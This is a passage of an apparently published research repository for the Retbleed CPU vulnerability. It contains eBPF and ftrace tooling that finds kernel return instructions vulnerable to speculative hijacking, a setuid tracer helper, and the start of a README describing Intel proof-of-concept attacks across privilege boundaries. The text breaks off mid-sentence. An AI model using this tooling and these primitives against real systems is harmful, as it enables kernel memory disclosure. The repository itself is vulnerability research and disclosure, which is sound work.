| "get_mempolicy": 5, 246 | "mq_open": 4, 247 | "mq_unlink": 1, 248 | "mq_timedsend": 5, 249 | "mq_timedreceive": 5, 250 | "mq_notify": 2, 251 | "mq_getsetattr": 3, 252 | "kexec_load": 4, 253 | "waitid": 5, 254 | "add_key": 5, 255 | "request_key": 4, 256 | "keyctl": 5, 257 | "ioprio_set": 3, 258 | "ioprio_get": 2, 259 | "inotify_init": 0, 260 | "inotify_add_watch": 3, 261 | "inotify_rm_watch": 2, 262 | "migrate_pages": 4, 263 | "openat": 4, 264 | "mkdirat": 3, 265 | "mknodat": 4, 266 | "fchownat": 5, 267 | "futimesat": 3, 268 | "linkat": 5, 269 | "newfstat": 2, 270 | "newfstatat": 4, 271 | "newlstat": 2, 272 | "newstat": 2, 273 | "renameat": 4, 274 | "symlinkat": 3, 275 | "unlinkat": 3, 276 | "readlinkat": 4, 277 | "fchmodat": 3, 278 | "faccessat": 3, 279 | "pselect6": 6, 280 | "ppoll": 5, 281 | "unshare": 1, 282 | "set_robust_list": 2, 283 | "get_robust_list": 3, 284 | "splice": 6, 285 | "tee": 4, 286 | "sync_file_range": 4, 287 | "vmsplice": 4, 288 | "move_pages": 6, 289 | "utimensat": 4, 290 | "epoll_pwait": 6, 291 | "signalfd": 3, 292 | "timerfd_create": 2, 293 | "eventfd": 1, 294 | "fallocate": 4, 295 | "timerfd_settime": 4, 296 | "timerfd_gettime": 2, 297 | "accept4": 4, 298 | "signalfd4": 4, 299 | "eventfd2": 2, 300 | "epoll_create1": 1, 301 | "dup3": 3, 302 | "pipe2": 2, 303 | "inotify_init1": 1, 304 | "preadv": 4, 305 | "pwritev": 4, 306 | "rt_tgsigqueueinfo": 4, 307 | "perf_event_open": 5, 308 | "recvmmsg": 5, 309 | "fanotify_init": 2, 310 | "fanotify_mark": 5, 311 | "prlimit64": 4, 312 | "name_to_handle_at": 5, 313 | "open_by_handle_at": 3, 314 | "clock_adjtime": 2, 315 | "syncfs": 1, 316 | "sendmmsg": 4, 317 | "setns": 2, 318 | "getcpu": 3, 319 | "process_vm_readv": 6, 320 | "process_vm_writev": 6, 321 | "kcmp": 5, 322 | "finit_module": 3, 323 | "sched_setattr": 3, 324 | "sched_getattr": 4, 325 | "renameat2": 5, 326 | "seccomp": 3, 327 | "getrandom": 3, 328 | "memfd_create": 2, 329 | "kexec_file_load": 5, 330 | "bpf": 3, 331 | "execveat": 5, 332 | "userfaultfd": 1, 333 | "membarrier": 2, 334 | "mlock2": 3, 335 | "copy_file_range": 6, 336 | "preadv2": 6, 337 | "pwritev2": 6, 338 | "pkey_mprotect": 4, 339 | "pkey_alloc": 2, 340 | "pkey_free": 1, 341 | "statx": 5, 342 | "io_pgetevents": 6, 343 | "rseq": 4, 344 | } 345 | 346 | SC_USELESS_ARG = { 347 | "accept": ["RDI"], 348 | "close": ["RDI"], 349 | 'connect': ['RDI', 'RDX'], #rdi=fd rdx=addrlen 350 | "copy_file_range": ["RDI"], 351 | "exit_group": ["RDI"], # int exit code 352 | "fadvise64": ["RDI"], 353 | "fallocate": ["RDI"], 354 | "fcntl": ["RDI"], 355 | "fdatasync": ["RDI"], 356 | "fsync": ["RDI"], 357 | "ftruncate": ["RDI"], 358 | "getdents64": ["RDI"], 359 | "inotify_add_watch": ["RDI"], 360 | "inotify_rm_watch": ["RDI"], 361 | "io_uring_enter": ["RDI"], 362 | "lseek": ["RDI"], 363 | "mkdir": ["RSI"], # rsi=mode_t 364 | "mkdirat": ["RDI","RDX"], # rdx=mode_t 365 | "openat2": ["RDI"], 366 | "openat": ["RDI"], 367 | "pread64": ["RDI"], 368 | "preadv2": ["RDI"], 369 | "pwrite64": ["RDI"], 370 | "read": ["RDI", "RDX"], # len rdx limited to 0x7ffff000 371 | "recvfrom": ["RDI"], 372 | "sendfile64": ["RDI"], 373 | "sendmmsg": ["RDI"], 374 | "sendmsg": ["RDI"], 375 | "sendto": ["RDI", "RDX"], # len is limited to 0x7ffff000. it will be capped 376 | # otherwise. its reg will get ovewritten so only available on syscall frame 377 | "setsockopt": ["RDI"], 378 | "shutdown": ["RDI", "RSI"], # rsi is int 379 | "splice": ["RDI"], 380 | "timerfd_settime": ["RDI"], 381 | "unlinkat": ["RDI"], 382 | "write": ["RDI"], 383 | "writev": ["RDI"], 384 | } 385 | 386 | def scArgUseless(sc_sym, regName): 387 | sc = sc_sym.replace("__x64_sys_","").replace("__do_sys_","") 388 | if not sc in SC_USELESS_ARG: 389 | return False 390 | return regName in SC_USELESS_ARG[sc] 391 | 392 | def getNargs(sc_sym): 393 | # sc_symlike can be __x64_sys_{name} 394 | # or __do_sys_{name} 395 | # we might trace obsure non-syscalls too because of __do_sys_* wildcard 396 | sc = sc_sym.replace("__x64_sys_","").replace("__do_sys_","") 397 | if not sc in SC_NARGS: 398 | print(f"Obscure syscall {sc} encountered assume max", file=sys.stderr) 399 | return 6 400 | return SC_NARGS[sc] 401 | -------------------------------------------------------------------------------- /ret_finder/ebpf/trace_regs.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #if defined(CONFIG_FUNCTION_TRACER) 3 | #define CC_USING_FENTRY 4 | #endif 5 | 6 | #include 7 | 8 | // dump info has 8 x u64 entries 9 | struct dump_info { u64 data[12]; }; 10 | 11 | // cant do them together, 512 is max allowed on stack 12 | enum { AX, BX, CX, 13 | DX, DI, SI, 14 | R8, R9, R10, 15 | R11, R12, R13, 16 | R14, R15, BP, 17 | SP }; 18 | 19 | /* static int bpf_arr_sz = SP+1; */ 20 | // register dump. for kretprobe 21 | BPF_ARRAY(rd, struct dump_info, SP+1); 22 | 23 | // syscall dump. for syscall entry 24 | BPF_ARRAY(sd, struct dump_info, 7); 25 | 26 | BPF_ARRAY(sc_count_map, int, 1); 27 | BPF_ARRAY(f_count_map, int, 1); 28 | 29 | // event_info. All registers are inline so bcc can infer types automagically 30 | struct event_info { 31 | unsigned char fun_name[32]; 32 | unsigned char comm[TASK_COMM_LEN]; 33 | // all this inlined instead of using a struct pt_regs. smelly.. 34 | struct pt_regs regs; 35 | }; 36 | 37 | BPF_PERF_OUTPUT(events); 38 | 39 | #define DUMP_ARG(REG, reg) do {\ 40 | idx = REG;\ 41 | bpf_probe_read_kernel(newd.data, sizeof(struct dump_info), (void *)(reg));\ 42 | } while(0) 43 | 44 | #define DUMP_USER_ARG(reg) do {\ 45 | bpf_probe_read_user(newd.data, sizeof(struct dump_info), (void *)(reg));\ 46 | } while(0) 47 | 48 | 49 | int do_return(struct pt_regs *ctx) 50 | { 51 | struct event_info e = {}; 52 | struct dump_info newd = {}; 53 | int idx=0, sc_count, f_count, zero=0, *val; 54 | 55 | bpf_get_current_comm(e.comm, sizeof(e.comm)); 56 | char *comm = e.comm; 57 | char fun[] = "krp"; 58 | memcpy(e.fun_name, fun, sizeof(fun)); 59 | u64 id = bpf_get_current_pid_tgid(); 60 | u32 pid = id>>32; 61 | if (pid != PID) { 62 | // PID missmatch (common), do a poor man's compare on comm instead. This 63 | // is to include forks/clones in the process. TODO: Collect all PIDs 64 | // created and compare against all of them. Then we dont miss the 65 | // execve calls. 66 | COMM_COMPARE 67 | } 68 | 69 | val = f_count_map.lookup_or_try_init(&idx, &zero); 70 | 71 | // f_count will be -1 until SC_TARGET is reached 72 | if (val == NULL || *val == -1) return 0; 73 | 74 | // It's at the right sc_count, so do f_counting 75 | f_count = *val + 1; 76 | f_count_map.update(&idx, &f_count); 77 | 78 | // Is it our turn? 79 | if (f_count != F_TARGET) return 0; 80 | // F_TARGET reached and SC_TARGET reached. Dump time 81 | 82 | DUMP_ARG(AX, ctx->ax); rd.update(&idx, &newd); 83 | DUMP_ARG(BX, ctx->bx); rd.update(&idx, &newd); 84 | DUMP_ARG(CX, ctx->cx); rd.update(&idx, &newd); 85 | DUMP_ARG(DX, ctx->dx); rd.update(&idx, &newd); 86 | DUMP_ARG(SI, ctx->si); rd.update(&idx, &newd); 87 | DUMP_ARG(DI, ctx->di); rd.update(&idx, &newd); 88 | DUMP_ARG(R8, ctx->r8); rd.update(&idx, &newd); 89 | DUMP_ARG(R9, ctx->r9); rd.update(&idx, &newd); 90 | DUMP_ARG(R10, ctx->r10); rd.update(&idx, &newd); 91 | DUMP_ARG(R11, ctx->r11); rd.update(&idx, &newd); 92 | DUMP_ARG(R12, ctx->r12); rd.update(&idx, &newd); 93 | DUMP_ARG(R13, ctx->r13); rd.update(&idx, &newd); 94 | DUMP_ARG(R14, ctx->r14); rd.update(&idx, &newd); 95 | DUMP_ARG(R15, ctx->r15); rd.update(&idx, &newd); 96 | DUMP_ARG(BP, ctx->bp); rd.update(&idx, &newd); 97 | DUMP_ARG(SP, ctx->sp); rd.update(&idx, &newd); 98 | // maybe need to queue this data in an event prevent it from being overriden 99 | 100 | // copy the registers from ctx to my stuff 101 | bpf_probe_read_kernel(&e.regs, sizeof(struct pt_regs), (void *)ctx); 102 | 103 | events.perf_submit(ctx, &e, sizeof(struct event_info)); 104 | return 0; 105 | } 106 | 107 | int end_call(struct pt_regs *ctx) { 108 | u32 idx = 0; 109 | int neg1 = -1; 110 | char comm[TASK_COMM_LEN]; 111 | bpf_get_current_comm(comm, TASK_COMM_LEN); 112 | u64 id = bpf_get_current_pid_tgid(); 113 | u32 pid = id>>32; 114 | if (pid != PID) { 115 | // PID missmatch (common), do a poor man's compare on comm instead. This 116 | // is to include forks/clones in the process. TODO: Collect all PIDs 117 | // created and compare against all of them. Then we dont miss the 118 | // execve calls. 119 | COMM_COMPARE 120 | } 121 | // reset counter. -1 means don't use 122 | f_count_map.update(&idx, &neg1); 123 | return 0; 124 | } 125 | 126 | #define MIN(a,b) ((a < b) ? a : b) 127 | int do_call(struct pt_regs *ctx) { 128 | struct pt_regs sc_args = {}; 129 | struct dump_info newd = {}; 130 | int idx = 0; 131 | int zero = 0; 132 | int *val; 133 | int neg1= -1; 134 | f_count_map.update(&idx, &neg1); // -1 means don't even try to start 135 | int sc_count; 136 | char comm[TASK_COMM_LEN]; 137 | bpf_get_current_comm(comm, sizeof(comm)); 138 | u64 id = bpf_get_current_pid_tgid(); 139 | u32 pid = id>>32; 140 | if (pid != PID) { 141 | // PID missmatch (common), do a poor man's compare on comm instead. This 142 | // is to include forks/clones in the process. TODO: Collect all PIDs 143 | // created and compare against all of them. Then we dont miss the 144 | // execve calls. 145 | COMM_COMPARE 146 | } 147 | val = sc_count_map.lookup_or_try_init(&idx, &zero); 148 | if (val == NULL) return 1; // not possible. :( 149 | 150 | sc_count = *val + 1; 151 | sc_count_map.update(&idx, &sc_count); 152 | // Is it our turn? 153 | if (sc_count != SC_TARGET) return 0; 154 | 155 | // start f_count 156 | f_count_map.update(&idx, &zero); 157 | 158 | // This is the target syscall. Now we save the inputs for later inspection 159 | // reading pt_regs argument from syscall handler's first arg, rdi 160 | bpf_probe_read_kernel(&sc_args, sizeof(struct pt_regs), (void *)ctx->di); 161 | newd.data[0] = sc_args.di; 162 | newd.data[1] = sc_args.si; 163 | newd.data[2] = sc_args.dx; 164 | newd.data[3] = sc_args.cx; 165 | newd.data[4] = sc_args.r8; 166 | newd.data[5] = sc_args.r9; 167 | // 0th index is the arguments 168 | idx = 0; sd.update(&idx, &newd); 169 | 170 | // try dereference pointers i=1 => argument1. syscalls take at most 6 arguments. Will be 0s if not pointer 171 | idx = 1; DUMP_USER_ARG(sc_args.di); sd.update(&idx, &newd); 172 | idx = 2; DUMP_USER_ARG(sc_args.si); sd.update(&idx, &newd); 173 | idx = 3; DUMP_USER_ARG(sc_args.dx); sd.update(&idx, &newd); 174 | idx = 4; DUMP_USER_ARG(sc_args.cx); sd.update(&idx, &newd); 175 | idx = 5; DUMP_USER_ARG(sc_args.r8); sd.update(&idx, &newd); 176 | idx = 6; DUMP_USER_ARG(sc_args.r9); sd.update(&idx, &newd); 177 | 178 | return 0; 179 | } 180 | -------------------------------------------------------------------------------- /ret_finder/funcgrap/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CFLAGS += -O3 3 | CFLAGS += -Wall 4 | CFLAGS += -Wextra 5 | CFLAGS += -Wpedantic 6 | CC=clang 7 | 8 | all: funcgrap 9 | 10 | funcgrap: ./funcgrap.c 11 | $(CC) $(CFLAGS) -o $@ ./funcgrap.c 12 | sudo setcap CAP_SETUID=ep $@ 13 | 14 | -------------------------------------------------------------------------------- /ret_finder/funcgrap/fgtrace.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | # This script is executed from ./funcgrap 4 | 5 | # this will file could enjoy becoming native some day. 6 | 7 | # For this to work well for longer tests, make the perf buffer huge. 8 | #echo 10000000 > per_cpu/cpu$CPU/buffer_size_kb 9 | 10 | if [ `whoami` != "root" ]; then 11 | # this odes not work.. signal does not prepagate to sudo process 12 | echo need root! 13 | # sudo $0 $@ & 14 | exit 0 15 | fi 16 | 17 | tracefs=/sys/kernel/debug 18 | PID=$1 19 | 20 | CPU=$3 21 | CPU_MASK=$(echo "obase=16; $[1<<$3]" | bc) 22 | 23 | while ! echo nop > $tracefs/tracing/current_tracer; do 24 | sleep 0.1 25 | done 26 | 27 | # cat $tracefs/tracing/per_cpu/cpu$CPU/buffer_size_kb 28 | 29 | echo 0 > $tracefs/tracing/tracing_on 30 | echo $1 > $tracefs/tracing/set_ftrace_pid 31 | # follow forks 32 | echo function-fork >> $tracefs/tracing/trace_options 33 | 34 | echo function_graph > $tracefs/tracing/current_tracer 35 | 36 | # ignore 37 | echo irq_enter_rcu > $tracefs/tracing/set_graph_notrace 38 | echo unmap_page_range >> $tracefs/tracing/set_graph_notrace 39 | echo pagevec_lru_move_fn >> $tracefs/tracing/set_graph_notrace 40 | echo _cond_resched >> $tracefs/tracing/set_graph_notrace 41 | # ignoring interrupts 42 | echo nofuncgraph-irqs >> $tracefs/tracing/trace_options 43 | 44 | # this takes a few seconds.. 45 | echo '__x64_sys_*' > $tracefs/tracing/set_graph_function 46 | echo '__do_sys_*' >> $tracefs/tracing/set_graph_function 47 | echo '__x32_compat_sys_*' >> $tracefs/tracing/set_graph_function 48 | 49 | # include } /* fn_sym */ so we can trace.. 50 | echo funcgraph-tail > $tracefs/tracing/trace_options 51 | 52 | # remove clutter. 53 | echo nofuncgraph-duration >> $tracefs/tracing/trace_options 54 | echo nofuncgraph-cpu >> $tracefs/tracing/trace_options 55 | echo nocontext-info >> $tracefs/tracing/trace_options 56 | echo nofuncgraph-overhead >> $tracefs/tracing/trace_options 57 | 58 | # cpu mask = only 15, 2**15 59 | # cpu mask = only 5, 2**5 60 | echo $CPU_MASK > $tracefs/tracing/tracing_cpumask 61 | echo 1 > $tracefs/tracing/tracing_on 62 | 63 | echo GO cpid=$PID ## this the first output 64 | cat $tracefs/tracing/trace_pipe > $2 65 | -------------------------------------------------------------------------------- /ret_finder/funcgrap/funcgrap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/comsec-group/retbleed/7786b04e36164d1f5ab841aca8ee665f68d0ab16/ret_finder/funcgrap/funcgrap -------------------------------------------------------------------------------- /ret_finder/funcgrap/funcgrap.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #define _GNU_SOURCE 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | 18 | void usage() { 19 | printf("Usage: ./fg [-o tracer-log] -t tracer_path [-p cpu] [-h] PROG [ARGS]\n"); 20 | exit(0); 21 | } 22 | 23 | #ifndef HAVE_PROGRAM_INVOCATION_NAME 24 | extern char *program_invocation_name; 25 | #endif 26 | 27 | char buf[256]; 28 | 29 | void err_and_die(char *m) { 30 | fprintf(stderr, "%s: %s\n", program_invocation_name, m); 31 | kill(0, SIGINT); 32 | exit(1); 33 | } 34 | 35 | int main(int argc, char *argv[]) 36 | { 37 | int c; 38 | char *log_path = NULL; 39 | char *tracer_path = NULL; 40 | // int fd_log; 41 | if (argc < 1) { 42 | usage(); 43 | } 44 | 45 | // will use cpu 3 by default. 46 | int cpu = 3; 47 | 48 | while ((c = getopt(argc, argv, "ho:t:p:")) != -1) { 49 | switch (c) { 50 | case 'h': 51 | usage(); 52 | case 'o': 53 | log_path = strdup(optarg); 54 | break; 55 | case 't': 56 | tracer_path = strdup(optarg); 57 | break; 58 | case 'p': 59 | cpu = atoi(optarg); 60 | break; 61 | default: 62 | fprintf(stderr, "Try %s -h\n", program_invocation_name); 63 | exit(1); 64 | } 65 | } 66 | 67 | argc -= optind; 68 | argv += optind; 69 | if (argc <= 0) { 70 | err_and_die("must specify PROG [ARGS]"); 71 | } 72 | 73 | if (!log_path) { 74 | err_and_die("must specify -o"); 75 | } 76 | 77 | if (!tracer_path) { 78 | err_and_die("must specify -t"); 79 | } 80 | 81 | // if ((fd_log = open(log_path, O_WRONLY | O_CREAT | O_TRUNC, 0644)) < 0) { 82 | // err(2, "can't open logfile '%s'",log_path); 83 | // } 84 | 85 | 86 | // start_child 87 | pid_t pid_test; 88 | pid_t pid_tracer; 89 | 90 | int pipe_test[2]; 91 | if (pipe(pipe_test) < 0) { 92 | err(1, "pipe test"); 93 | } 94 | 95 | char *test_args[5] = { NULL }; // up to 5 args in cmdline 96 | char *s = argv[0]; 97 | for (int i = 0; s != NULL && i < 5; ++i) { 98 | test_args[i] = s; 99 | s = strstr(s, " "); 100 | if (s) { 101 | *s = '\0'; 102 | ++s; 103 | } 104 | } 105 | 106 | fprintf(stderr, "test command: "); 107 | for (int i = 0 ; i < 5; ++i) { 108 | if(test_args[i] == NULL) break; 109 | fprintf(stderr, "%s ", test_args[i]); 110 | } 111 | fprintf(stderr,"\n"); 112 | 113 | if ((pid_test = fork()) == 0) { 114 | char b; 115 | cpu_set_t set; 116 | CPU_ZERO(&set); 117 | CPU_SET(cpu, &set); 118 | sched_setaffinity(getpid(), sizeof(set), &set); 119 | close(pipe_test[1]); // close communication to parent 120 | read(pipe_test[0], &b, 1); // wait for tracer to be ready 121 | close(pipe_test[0]); // close communication from parent 122 | 123 | // to either split argv[1] into strings or just run it like this. 124 | if (execve(test_args[0], test_args, environ) != 0) { 125 | err(2,"exec %s", test_args[0]); 126 | } 127 | // unreachable 128 | exit(1); 129 | } 130 | 131 | close(pipe_test[0]); 132 | 133 | int pipe_tracer[2]; 134 | if (pipe(pipe_tracer) < 0) { 135 | err(1, "pipe tracer"); 136 | } 137 | 138 | char pidstr[12] = {0}; 139 | sprintf(pidstr, "%d", pid_test); 140 | if ((pid_tracer = fork()) == 0) { 141 | close(pipe_tracer[0]); 142 | dup2(pipe_tracer[1], fileno(stdout)); 143 | setuid(0); 144 | if (getuid() != 0 || geteuid() != 0) { 145 | // program needs cap_setuid to run.. 146 | err_and_die("You must be root to trace"); 147 | } 148 | 149 | char cpustr[5]; 150 | sprintf(cpustr, "%d", cpu); 151 | 152 | // run the actual tracer here.. it will give lots of output 153 | if (execl("/usr/bin/sudo", "sudo", tracer_path, pidstr, log_path, cpustr, NULL) != 0) { 154 | err(2, "tracer failed"); 155 | } 156 | // unreachable 157 | exit(1); 158 | } 159 | setpgid(pid_tracer, 0); 160 | 161 | // not going to write to tracer 162 | close(pipe_tracer[1]); 163 | fprintf(stderr, "Waiting for tracer to wakeup..."); 164 | fflush(stderr); 165 | int r = 0; 166 | while ((r = read(pipe_tracer[0], buf, sizeof(buf))) > 0) { 167 | if (strstr(buf, "GO cpid=") != 0) { 168 | break; 169 | } 170 | } 171 | 172 | fprintf(stderr, "OK! now logging..\n"); 173 | 174 | write(pipe_test[1], "0", 2); 175 | close(pipe_test[1]); 176 | int status = 0; 177 | waitpid(pid_test, &status, 0); 178 | 179 | // need to wait for log writing to finish reading.. 180 | // need a way to find out that we've exhausted the buffer, this was the 181 | // ugliest i could come up with.. 182 | // TODO: just forget about cat-ing in the sh script: mmap and read really 183 | // large chunks instead... 184 | setuid(0); 185 | int fd_t = open("/sys/kernel/debug/tracing/trace", O_RDONLY); 186 | while (1) { 187 | lseek(fd_t, 0, SEEK_SET); 188 | // the file contains only 27 bytes of data when empty 189 | if (read(fd_t, buf, 32) < 32) { 190 | break; 191 | } 192 | usleep(10000); 193 | } 194 | 195 | kill(-pid_tracer, SIGTERM); 196 | fprintf(stderr, "---------------Test finished %d-----------------\n",status); 197 | return 0; 198 | } 199 | -------------------------------------------------------------------------------- /ret_finder/funcgrap/run_full_suite.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | cd "$(dirname "$0")" 4 | 5 | ROUND_PATH=$1 6 | if [ -z "$ROUND_PATH" ]; then 7 | echo "required ROUND_PATH" 8 | exit 2 9 | fi 10 | 11 | mkdir -p "$ROUND_PATH" || exit 1 12 | mkdir -p "$ROUND_PATH/out" || exit 1; 13 | 14 | FUNCGRAP_PATH="$(readlink -f ../funcgrap/funcgrap)" 15 | FGTRACE_PATH="$(readlink -f ../funcgrap/fgtrace.sh)" 16 | 17 | LTP_ROOT=/opt/ltp 18 | 19 | RUN_TESTS_FILE="$LTP_ROOT/runtest/syscalls" 20 | 21 | # need to stand here to run.. 22 | cd "$LTP_ROOT/testcases/bin" 23 | 24 | grep . $RUN_TESTS_FILE | grep -v '#' | grep -vE 'msgstress0[1-4]' | sed -E 's/\s+/ /g' | while read L; do 25 | name="$(echo $L | cut -d' ' -f1).txt" 26 | cmdline="./$(echo $L | cut -d' ' -f2-)" 27 | echo "$name..." 28 | $FUNCGRAP_PATH -o "$ROUND_PATH/out/$name" -t $FGTRACE_PATH "$cmdline" 29 | done 30 | -------------------------------------------------------------------------------- /ret_finder/output.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/comsec-group/retbleed/7786b04e36164d1f5ab841aca8ee665f68d0ab16/ret_finder/output.tar.gz -------------------------------------------------------------------------------- /ret_finder/process_binary.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | set -e 4 | 5 | mkdir -p output 6 | 7 | COMM=$(basename $1) 8 | ARGS=${@:2} 9 | 10 | FG_BIN=$(dirname $0)/funcgrap/funcgrap 11 | FG_SH=$(dirname $0)/funcgrap/fgtrace.sh 12 | TRACE_UF=$(dirname $0)/tools/trace_underfill.py 13 | BPF=$(dirname $0)/ebpf/my_bpf.py 14 | 15 | LOG_PATH="output/${COMM}_${ARGS// /-}_raw.txt" 16 | BTB_PATH="output/${COMM}_${ARGS// /-}_btb.txt" 17 | 18 | echo COMM=$COMM 19 | echo ARGS=$ARGS 20 | echo WARMUP.... 21 | 22 | # need to run as unprivileged, also "warmup" 23 | (sudo -u $SUDO_USER $@) 2>&1 | grep -q 'needs to be run as root' && echo $COMM >> needs_root.txt 24 | 25 | # a bit clonky, funcgrap is setuid process to elivate. but the bpf does the 26 | # opposite; it runs as root and drops privileges instead. 27 | if [ ! -z "$ARGS" ]; then 28 | sudo -u $SUDO_USER $FG_BIN -p 5 -t $FG_SH -o $LOG_PATH "$1 $ARGS" 29 | else 30 | sudo -u $SUDO_USER $FG_BIN -p 5 -t $FG_SH -o $LOG_PATH "$1" 31 | fi 32 | 33 | $TRACE_UF < $LOG_PATH > $BTB_PATH 34 | sudo $BPF --uid=$(id -u $SUDO_USER) --btb-fb $BTB_PATH $@ 35 | -------------------------------------------------------------------------------- /ret_finder/tools/trace_underfill.py: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/usr/bin/env python3 3 | 4 | DEBUG=False 5 | import sys 6 | import re 7 | 8 | import fileinput 9 | 10 | RSB_SZ=16 11 | 12 | # if we trace a syscall we should take into a account that we're already called 13 | # do_syscall_64 14 | # __x64_sys_SC so depth is 2 15 | START_DEPTH=0 16 | depth = START_DEPTH 17 | # the thing is ... do_syscall_64 might do stuff before returning and we're not 18 | # allowed to probe it. 19 | 20 | # funcgraph entry name 21 | sc_name = "" 22 | 23 | # syscall being on hold because of context switch 24 | syscall_on_hold = { } 25 | 26 | def eprint(*args, **kwargs): 27 | print(*args, file=sys.stderr, **kwargs) 28 | 29 | # fast forwarding to a new syscall. 30 | fast_forward_mode = False 31 | class RSBEntry: 32 | valid = True 33 | callsite = None 34 | def __init__(self, callsite): 35 | self.callsite = callsite 36 | def invalidate(self): 37 | self.valid = False 38 | 39 | rsb = [ RSBEntry("RSB_REFILL") for x in range(16) ] 40 | 41 | li=0 # line index 42 | 43 | # for each syscall keep track of how many calls 44 | sc_count = {} 45 | 46 | # keep track of how many times each function is called. on a new syscall, clear 47 | # this dict. 48 | f_count = {} 49 | 50 | # don't give syscall;*;fallback;N more than once, 51 | # we don't wana trace the 100th write in the same fallback anyway. 52 | seen =[] 53 | 54 | for l in fileinput.input(): 55 | li+=1 56 | if "LOST" in l: 57 | # Lost events... we dont know how we came to the next line. 58 | # Fast-forward until depth=0 and restart. 59 | fast_forward_mode = True 60 | continue 61 | if "--------------------" in l: 62 | # If there is a context switch we can continue there but we probably 63 | # wont know which syscall we were in 64 | # fast_forward_mode = False 65 | rsb = [ RSBEntry("RSB_REFILL") for x in range(16)] 66 | # process switching possilby due to scheduler. the following calls are 67 | # from a different process and might not be easily reproducable 68 | continue 69 | if "=>" in l: 70 | # Now comes the context switching. 71 | m = re.match(".+-([0-9]+).*=>.*-([0-9]+)", l) 72 | #context switch 73 | if not m: 74 | eprint("unprocessable", l) 75 | cs_from = m[1] 76 | cs_to = m[2] 77 | # here's a dragon: we switch call stack so we might have a large depth 78 | # now and come to depth=START_DEPTH (very common) =>handled 79 | syscall_on_hold[cs_from] = sc_name 80 | if cs_to in syscall_on_hold: 81 | sc_name = syscall_on_hold[cs_to] 82 | # this part may be unnecessary now that I've seen that context switching 83 | # always results in rsb refilling.. and conditional ibpb. but I guess if 84 | # you return 17 times it can still work. 85 | 86 | # cond_ibpb prevents further calls to have any effect. 87 | fast_forward_mode = True 88 | continue 89 | if not "{" in l and "}" not in l: 90 | # not going into or out. so useless. 91 | continue 92 | # we know we're either calling or returning (otherwise no opening or closing 93 | # brace) 94 | line = l.rstrip() 95 | newdepth = 0 96 | for x in line: 97 | if x != " ": 98 | break 99 | newdepth += 1 100 | # divide by two because two spaces = 1 step deeper 101 | depth = newdepth>>1 102 | if fast_forward_mode and depth != START_DEPTH: 103 | continue 104 | # back to a sane starting point. 105 | fast_forward_mode = False 106 | sym_name = re.sub("[{}*/() ]|\[.*\]", "", line) 107 | if depth == START_DEPTH and "{" in l: 108 | sc_name = sym_name 109 | f_count.clear() 110 | if not sc_name in sc_count: 111 | sc_count[sc_name] = 0 112 | sc_count[sc_name] += 1 113 | if not sym_name in f_count: 114 | f_count[sym_name] = 0 115 | if "{" in l: 116 | # call 117 | rsb[depth%RSB_SZ] = RSBEntry(sym_name) 118 | if DEBUG: 119 | print(f"depth={depth}=True {sym_name} {li}") 120 | if "}" in l: 121 | # return 122 | f_count[sym_name] += 1 123 | if DEBUG: 124 | print(f"depth={depth}=False {sym_name} {li}") 125 | if not rsb[depth%RSB_SZ].valid: 126 | # this RSBEntry has previously been used! This means we have to 127 | # switch from RSB to the alternative, vulnerable predictor. 128 | tag = f"{sc_name};*;{sym_name};{f_count[sym_name]};x" 129 | if not tag in seen: 130 | seen.append(tag) 131 | print(f"{sc_name};{sc_count[sc_name]};{sym_name};{f_count[sym_name]};{li}") 132 | # invalidate current rsb entry 133 | rsb[depth%RSB_SZ].invalidate() 134 | -------------------------------------------------------------------------------- /retbleed_intel/README.md: -------------------------------------------------------------------------------- 1 | # Retbleed --- Intel PoC 2 | 3 | The bundle contains a full exploit under `exploits/` and minimal PoCs under 4 | `pocs/` to show the primitives. 5 | 6 | The code has been tested on a system with 7 | 8 | - Intel(R) Core(TM) i7-8700K CPU @ 3.70GHz 9 | - Ubuntu 20.04.3 LTS 10 | - 5.8.0-63-generic (Signed kernel image generic) 11 | 12 | ## `pocs/` 13 | We provide two PoCs, ret_bti and cp_bti that show branch target injection 14 | on return instructions, in the same user-space process and cross-privilege 15 | boundaries, respectively. These PoCs only show the primitives --- they are not 16 | full exploits and are not intended to be. 17 | 18 | Because transparent huge pages are not always successfully created, we use one 19 | huge page: 20 | ``` 21 | echo 1 | sudo tee /proc/sys/vm/nr_hugepages 22 | ``` 23 | 24 | ## `pocs/ret_bti` 25 | Shows branch target injection on return instructions in a user space process. 26 | The PoC uses a reload buffer that has 16 possible slots. Upon a controlled 27 | misprediction, we want the 10th entry to become hot. The expected results is 28 | shown below. 29 | 30 | ``` 31 | kwikner@ee-tik-cn104:retbleed/retbleed_intel/pocs$ ./ret_bti 32 | 0 0 0 0 0 0 0 0 0 0 4224 0 0 0 0 0 33 | ``` 34 | 35 | Note: We've confirmed that it also works on Coffee Lake Refresh. 36 | 37 | ## `pocs/cp_bti` 38 | 39 | This PoC shows that we can hijack return instructions across privilege 40 | boundaries. We use a kernel module that executes a vulnerable return 41 | instruction to speculatively direct the control flow to a 42 | never-achitecturally-executed function that acts as disclosure gadget. The 43 | kernel module is found under `/pocs/kmod_retbleed_poc/` (`make 44 | install`). Furthermore, the user-space binary requires root to read 45 | `/proc/self/pagemap`. Expected output: 46 | 47 | ``` 48 | kwikner@ee-tik-cn104:~/pocs$ sudo ./cp_bti 49 | rb_pa 0x28d200000 50 | rb_kva 0xffff9e2a0d200000 51 | kbr_src 0xffffffffc092887b 52 | kbr_dst 0xffffffffc0928000 53 | 0 0 0 0 0 0 0 0 0 0 31765 0 0 0 0 0 54 | ``` 55 | 56 | Note: we have not tested this carefully on Coffee Lake Refresh because enhanced 57 | IBRS makes our method infeasible. 58 | 59 | ## `exploits/` 60 | 61 | For Retbleed to work, the 